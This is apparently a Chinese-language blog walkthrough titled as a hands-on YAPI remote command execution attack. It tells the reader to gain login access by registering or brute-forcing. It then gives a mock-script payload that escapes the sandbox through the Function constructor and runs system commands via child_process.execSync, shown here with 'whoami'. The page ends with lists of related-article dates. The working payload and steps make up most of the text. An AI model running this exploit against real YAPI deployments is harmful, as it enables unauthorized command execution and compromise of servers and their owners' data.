注册或者爆破获取用户登录权限登陆系统:

添加项目:

【实战】YAPI系统远程命令执行漏洞

 

 添加接口

【实战】YAPI系统远程命令执行漏洞

 

 添加mock脚本:

payload:

const sandbox = this
const ObjectConstructor = this.constructor
const FunctionConstructor = ObjectConstructor.constructor
const myfun = FunctionConstructor('return process')
const process = myfun()
mockJson = process.mainModule.require("child_process").execSync("whoami").toString()

 

【实战】YAPI系统远程命令执行漏洞

预览里访问接口

【实战】YAPI系统远程命令执行漏洞

 

 【实战】YAPI系统远程命令执行漏洞

 

相关文章:

  • 2021-12-29
  • 2021-11-07
  • 2021-12-21
  • 2021-04-24
  • 2022-01-06
  • 2021-11-10
  • 2021-09-11
  • 2021-10-19
猜你喜欢
  • 2022-12-23
  • 2021-09-17
  • 2021-07-23
  • 2021-11-18
  • 2021-07-11
  • 2021-09-01
相关资源
相似解决方案